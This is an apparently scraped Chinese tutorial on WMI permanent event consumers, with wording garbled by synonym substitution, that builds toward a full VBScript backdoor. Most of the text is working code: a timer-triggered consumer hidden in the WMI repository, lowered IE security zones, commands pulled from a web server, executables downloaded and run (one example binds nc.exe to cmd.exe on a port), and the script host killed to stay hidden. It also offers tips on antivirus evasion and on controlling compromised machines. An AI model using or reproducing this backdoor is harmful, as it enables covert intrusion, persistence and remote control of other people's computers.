深化发掘Windows脚本技能(二)ITeye环球 - AG环亚娱乐

深化发掘Windows脚本技能(二)ITeye环球

2019-02-01 10:34:07 | 作者: 依丝 | 标签: 脚本,后门,事情 | 浏览: 7736


evtflt.name="stopped_spooler_filter" 界说过滤器的姓名
qstr="select * from __instancemodificationevent within 5 " 每5秒查询一次“实例修正事情”
qstr=qstr "where targetinstance isa ""win32_service"" and " 方针实例的类是win32_service
qstr=qstr "targetinstance.name=""spooler"" " 实例名是spooler
qstr=qstr "and targetinstance.state=""stopped""" 实例的state特点是stopped
evtflt.query=qstr 界说查询句子
evtflt.querylanguage="wql" 界说查询言语(只能是wql)
set fltpath=evtflt.put_ 注册过滤器,回来其链接

set fcbnd=getobject(nslink "__FilterToConsumerBinding").spawninstance_ 创立过滤器和顾客的绑定
fcbnd.consumer=asecpath.path 指定顾客
fcbnd.filter=fltpath.path 指定过滤器
fcbnd.put_ 履行绑定

wscript.echo "装置完结"

这个脚本的作用是:当“后台打印”效劳(spooler)状况改变为中止时,顾客将进行处理——重启spooler。
先net start spooler,然后net stop spooler。最多5秒钟,spooler又会发动。

直接运转上面的脚本会犯错,由于“活动脚本事情顾客”(ActiveScriptEventConsumer ASEC)默许没有被装置到root\cimv2姓名空间。

用记事本翻开%windir%\system32\wbem\scrcons.mof,将榜首行“#pragma namespace ("\\\\.\\Root\\Default")”删去,或许修正为“#pragma namespace ("\\\\.\\Root\\cimv2")”。XP/2003没有这一行,不必修正。
然后履行下面这个指令:

C:\WINNT\system32\wbem mofcomp.exe -N:root\cimv2 scrcons.mof
Microsoft (R) 32-bit MOF 汇编器版别 1.50.1085.0007
版权全部 (c) Microsoft Corp. 1997-1999。保存全部权力。

正在剖析 MOF 文件: scrcons.mof
MOF 文件剖析成功
将数据储存到储备库中...
已完结!

这样就把ASEC装置到root\cimv2了。mofcomp.exe和scrcons.mof都是体系自带的。

2000默许将ASEC装置到root\default姓名空间,而XP/2003默许现已装置到root\subscription姓名空间,但由于事情过滤器不能跨姓名空间捕捉事情(XP/2003可以),事情绑定也不能跨姓名空间,而大部分事情都在root\cimv2发生,所以需求重新装置ASEC到事情源地点的姓名空间。下面这个脚本自动完结ASEC重装置使命。

set shl=createobject("WScript.Shell")
set fso=createobject("Scripting.FileSystemObject")
path=shl.expandenvironmentstrings("%windir%\system32\wbem\")


set mof=fso.opentextfile(path "scrcons.mof",1,false,-1) mof都是Unicode格局的
mofs=mof.readall
mof.close
mofs=replace(mofs,"\\Default","\\cimv2",1,1) 替换默许的姓名空间
mofp=path "asecimv2.mof"
set mof=fso.createtextfile(mofp,false,true) 创立暂时mof文件
mof.write mofs
mof.close
shl.run path "mofcomp.exe -N:root\cimv2 " mofp,0,true 装置到root\cimv2
fso.deletefile(mofp)
wscript.echo "装置完结"

刊出永久事情:

nslink="winmgmts:\\.\root\cimv2:"
myconsumer="stopped_spooler_restart_consumer" 指定顾客的姓名
myfilter="stopped_spooler_filter" 指定过滤器的姓名
set binds=getobject(nslink "__FilterToConsumerBinding").instances_
for each bind in binds
if strcomp(right(bind.consumer,len(myconsumer) 1),myconsumer chr(34),1)=0 _
and strcomp(right(bind.filter,len(myfilter) 1),myfilter chr(34),1)=0 then
getobject("winmgmts:" bind.consumer).delete_ 删去顾客
getobject("winmgmts:" bind.filter).delete_ 删去过滤器
bind.delete_ 删去绑定
exit for
end if
next
wscript.echo "卸载完结"

除了ASEC,WMI还供给其他永久事情顾客,比方SMTPEventConsumer。当体系出现异常时,可以经过它自动给管理员的信箱发信。WMITools里的WMI Event ReGIStration用于创立、修正、删去指定姓名空间里的永久事情顾客、事情过滤器和计时器事情源的实例,以及绑定或免除绑定它们。

关于事情处理机制的各个部分,在《WMI技能攻略》里有具体的叙述,MSDN里当然更全面。我就点到为止了。

(看累了吧,喝口水,歇息一下 ^_^)

下面开端评论脚本后门。

WMI供给了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和时刻距离触发事情,注册一个过滤器来捕获计时器事情,再和ASEC绑定,咱们就获得了一种罕见的程序自发动的办法。并且,脚本代码彻底隐藏在CIM存储库中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少:

1,脚本运转时,由体系自带的scrcons.exe作为脚本宿主(Windows的设计者还没有笨到用WMI效劳作为脚本宿主)。这就会添加一个进程,尽管是体系正常的进程,杀毒软件拿它没辙,但仍是太显眼了。所以,不能让脚本一直在后台运转,而是应该每隔一段时刻发动一次,然后赶快完毕。脚本完毕后,scrcons.exe进程不会自动完毕,有必要让脚本凭借WMI供给的Win32_Process目标自动中止宿主进程(煮豆燃豆萁?!)。



2,脚本的网络功用很差,基本上只能依托Microsoft.XMLHTTP之类的目标。因而,脚本后门不能监听端口并供给cmd shell,只能反向衔接到web效劳器,获取操控指令。一个可行的办法是,在web效劳器上放一个指令文件,脚本后门依据域名找到效劳器并下载指令文件,再依据文件内容作出呼应。所以,你需求一台web效劳器,或许用netbox等东西建个暂时效劳器。当然,你不需求让效劳器总是在线,需求操控脚本后门时再运转就可以了。

3,由于脚本后门间歇式运转,需求避免重复运转同一个指令。解决办法是在注册表里记载指令的长度,每次获取指令后将长度和记载做比较,假如相同则越过,不同则掩盖并履行指令。

4,为了凭借ie目标穿透防火墙,XMLHTTP目标有必要在ie中被创立,这会遭到Internet域安全级别的约束。即便将代码保存在html文件中再用ie翻开,也不过是“我的电脑”域,创立不安全的ActiveX目标仍是会弹出正告对话框。解决办法是修正注册表,暂时更改安全设置。

5,WScript目标由wscript.exe或cscript.exe供给,而scrcons.exe没有供给,所以许多常用的功用,比方WScript.Sleep都不能用了。不能Sleep就无法异步运用XMLHTTP,而同步XMLHTTP或许被长时刻堵塞,大大不利于后门的荫蔽。调用ping指令来延时会创立新进程,用WScript.Shell的Popup办法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲属”不少,比方Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最终那个可以设置超时时刻,刚好满足需求。

即便有重重困难,脚本后门依然值得应战一下。当肉鸡上的各类木马纷繁被杀毒软件肃清后,一个24小时才运转一次的脚本后门或许是你最终的期望。

下面是一个简略的脚本后门的中心代码(没有装置功用):

cmdu="https://myweb.8866.org/cmd.txt" 从web效劳器获取指令的url
cmdw=4000 下载超时时刻4秒
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" 记载指令长度的键值名

on error resume next 疏忽非丧命过错 (调试时注释掉本行)
set shl=createobject("WScript.Shell") 尽管不能运用WScript根目标,其子目标仍是可以用的

set aso=createobject("ADODB.Stream")
set ie=createobject("InternetExplorer.Application") 运用ie绕过防火墙

zone="HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"
set1=zone "\1201"
set2=zone "\1400"
set3=zone "\CurrentLevel"
val1=shl.regread(set1) 保存本来的安全设置
val2=shl.regread(set2)
val3=shl.regread(set3)
regd="REG_DWORD"
shl.regwrite set1,0,regd 答应在Internet域运转不安全的ActiveX
shl.regwrite set2,0,regd 答应活动脚本
shl.regwrite set3,0,regd 设置当时Internet域安全级别为“自界说”

ie.visible=0 :ie.visible=1 (调试用)
ie.navigate "about" ":blank" 这儿运用字符串衔接纯属反论坛过滤
ie.document.write _
" script function whr(){return new ActiveXObject(WinHttp.WinHttpRequest.5.1)} /script "
set whr=ie.document.script.whr() 在ie内创立WinHttpRequest目标

whr.settimeouts cmdw,cmdw,cmdw,cmdw 设置域名解析、衔接、发送和接纳超时时刻
whr.open "GET",cmdu,true 获取指令文件
whr.send

if not whr.waitforresponse(cmdw) then die
if whr.status 299 then die
rt=whr.responsetext :wscript.echo rt (调试用)
:shl.regwrite cmdl,0,regd (调试用)
if len(rt)=shl.regread(cmdl) then die 与前一个指令的长度比较
shl.regwrite cmdl,len(rt),regd 更新指令长度
cmds=split(rt,vbcrlf,-1)
if ubound(cmds) 1 then die
cmdt=lcase(trim(cmds(0))) :wscript.echo cmdt (调试用)

aso.type=1
aso.open
cd=shl.currentdirectory chr(92)
select case cmdt 剖析指令文件类型
case "vbs" 是vbs
execute(rt) 直接在当时脚本上下文中履行
die
case ":bat" 是批处理
aso.write whr.responsebody
aso.savetofile cd "_.bat",2 保存在当时目录
aso.close
shl.run chr(34) cd "_.bat""",0 运转批处理
die
case "wsh" 是Windows脚本
aso.write whr.responsebody
aso.savetofile cd "_.vbs",2 保存在当时目录
aso.close
shl.run "cscript.exe """ cd "_.vbs""",0 运用cscript作为脚本宿主
die
case "exe" exe需进一步剖析
case else die

end select

if ubound(cmds) 4 then die :wscript.echo cmds(1) (调试用)
whr.open "GET",cmds(1),true 从指定方位下载exe文件
whr.send
if not whr.waitforresponse(cmds(2)) then die
if whr.status 299 then die
path=shl.expandenvironmentstrings(cmds(3))打开保存途径中的环境变量
aso.write whr.responsebody :wscript.echo path (调试用)
aso.savetofile path,2 保存exe文件
aso.close
shl.run chr(34) path """ " cmds(4),0 履行exe

die

sub die
ie.quit
shl.regwrite set1,val1,regd 复原Internet域安全设置
shl.regwrite set2,val2,regd
shl.regwrite set3,val3,regd
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if lcase(ps.name)="scrcons.exe" then ps.terminate 自杀
next
wscript.echo "die": wscript.quit (调试用)
end sub

撤销调试句子的注释,上面这段中心代码就可以直接运转。
它将企图从myweb.8866.org上获取cmd.txt,依据里边的内容进一步举动。
cmd.txt看起来像这样:

exe //被履行的文件类型,可以是vbs、:bat、exe或wsh
https://myweb.8866.org/nc.exe //被履行的文件的下载url
4000 //下载超时时刻,单位毫秒
%windir%\system32\nc.exe //文件的保存方位,支撑环境变量
-L -p 1234 -e cmd.exe //指令行参数

收到上面这个指令后,脚本将从指定url下载nc.exe,保存到体系目录并运转。

假如榜首行的文件类型为vbs、wsh或:bat,则把指令文件自身当作脚本或批处理来履行。比方:

:bat
net start telnet :发动telnet效劳
del %0 :自删去

假如仅仅想让某台主机履行指令,可以这样:

:bat
ipconfig | find "123.45.67.89" net start telnet
del %0

这样就只要ip地址为123.45.67.89的主机才会发动telnet。

wsh和vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”履行。
运用vbs的优点是不必生成文件,并且可以直接运用后门中现已创立的目标,比方shl,但也因而不能用WScript根目标。

下面的vbs指令文件把"本地帐户的同享和安全形式"由"仅宾客"改为"经典"(对XP和2003有用):

vbs
shl.regwrite "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0,"REG_DWORD"



留意,vbs和wsh前面都有一个单引号,由于整个指令文件都作为脚本履行,所以有必要注释掉榜首行,:bat也是相同。
运用vbs时千万留意不要有语法过错,不然会使后门犯错并中止。假如是杂乱的脚本,主张运用wsh。

将中心代码改写为单行字符串格局,就可以作为ASEC的实例装置了。改写时要留意"if"和"end if"配对以及去掉续行符。
完好的装置脚本代码如下:

***以下为参数装备,请依据状况自行修正***
nslink="winmgmts:\\.\root\cimv2:" ASEC地点的姓名空间
doorname="vbscript_backdoor" 记住后门的姓名,卸载时需求
runinterval=86400000 每天运转一次
cmdu="https://myweb.8866.org/cmd.txt" 指令文件的方位
cmdw=4000 文件下载超时时刻
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" 保存指令长度的键值名
***参数装备完毕***

createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD"

脚本后门中心代码
stxt="cmdu=""" cmdu """:cmdw=" cmdw ":cmdl=""" cmdl """:on error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"":set1=zone ""\1201"":set2=zone ""\1400"":set3=zone ""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about"" "":blank"":ie.document.write "" script function whr(){return new ActiveXObject(WinHttp.WinHttpRequest.5.1)} /script "":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status 299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds) 1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory chr(92):select case cmdt:case ""vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd ""_.bat"",2:aso.close:shl.run chr(34) cd ""_.bat"""""",0:die:case ""wsh"":aso.write .responsebody:aso.savetofile cd ""_.vbs"",2:aso.close:shl.run ""cscript.exe """""" cd ""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds) 4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status 299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34) path """""" "" cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub"
装备事情顾客
set asec=getobject(nslink "ActiveScriptEventConsumer").spawninstance_
asec.name=doorname "_consumer"
asec.scriptingengine="vbscript"
asec.scripttext=stxt
set asecpath=asec.put_

装备计时器
set itimer=getobject(nslink "__IntervalTimerInstruction").spawninstance_
itimer.timerid=doorname "_itimer"
itimer.intervalbetweenevents=runinterval
itimer.skipifpassed=false
itimer.put_

装备事情过滤器
set evtflt=getobject(nslink "__EventFilter").spawninstance_
evtflt.name=doorname "_filter"
evtflt.query="select * from __timerevent where timerid=""" doorname "_itimer"""
evtflt.querylanguage="wql"
set fltpath=evtflt.put_

绑定顾客和过滤器
set fcbnd=getobject(nslink "__FilterToConsumerBinding").spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_

wscript.echo "装置完结"

与前一个永久事情处理进程不同的是,脚本后门的事情源是计时器,在每个姓名空间都可以实例化并触发事情。所以,不一定要将ASEC装置到root\cimv2。特别是XP/2003,ASEC默许现已装置到root\subscription,只需求相应修正nslink的值,就可以装置脚本后门了。



卸载脚本后门:

cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength"
createobject("WScript.Shell").regdelete cmdl 删去保存指令长度的键值
nslink="winmgmts:\\.\root\cimv2:"
doorname="vbscript_backdoor" 依据脚本后门的姓名找到各个目标实例
myconsumer=doorname "_consumer"
mytimer=doorname "_itimer"
myfilter=doorname "_filter"
set binds=getobject(nslink "__FilterToConsumerBinding").instances_
for each bind in binds
if strcomp(right(bind.consumer,len(myconsumer) 1),myconsumer chr(34),1)=0 _
and strcomp(right(bind.filter,len(myfilter) 1),myfilter chr(34),1)=0 then
bind.delete_
exit for
end if
next
getobject(nslink "ActiveScriptEventConsumer.Name=""" myconsumer """").delete_
getobject(nslink "__IntervalTimerInstruction.TimerId=""" mytimer """").delete_
getobject(nslink "__EventFilter.Name=""" myfilter """").delete_
wscript.echo "卸载完结"

几点弥补阐明:
1,脚本后门的优势在于荫蔽,所以24小时才运转一次是适宜的。不必忧虑由于体系关机而错失运转时机,下次发动时会补上的。
软件开发网


2,为了更好的反查杀,可以给脚本后门的中心代码加壳。在功用上也可以改进到挨近IRC木马的程度,只不过效劳端是Web效劳器,不能一起养太多的马。

3,脚本后门的自发动和运转依赖于WMI效劳,尽管禁用WMI效劳就可以根绝此类后门和木马,但比起经过注册表发动仍是牢靠的多。假如被蠕虫病毒运用,恐怕会很费事吧。

【结语】
Windows脚本就像万能胶,可以把独立的程序、效劳、控件组合起来完结使命。脚本编程的技巧就是组合的技巧。XP和2003比2000自带更多的指令行东西,WMI也大大加强了,脚本的功用水涨船高,可以说是“只要想不到,没有做不到”。全部有待你的开掘。

最终,感谢你耐性看完本文,期望本文可认为你学习Windows脚本供给一些协助。

欢迎来信与我沟通 mailto:zzzevazzz@126.com
版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表AG环亚娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章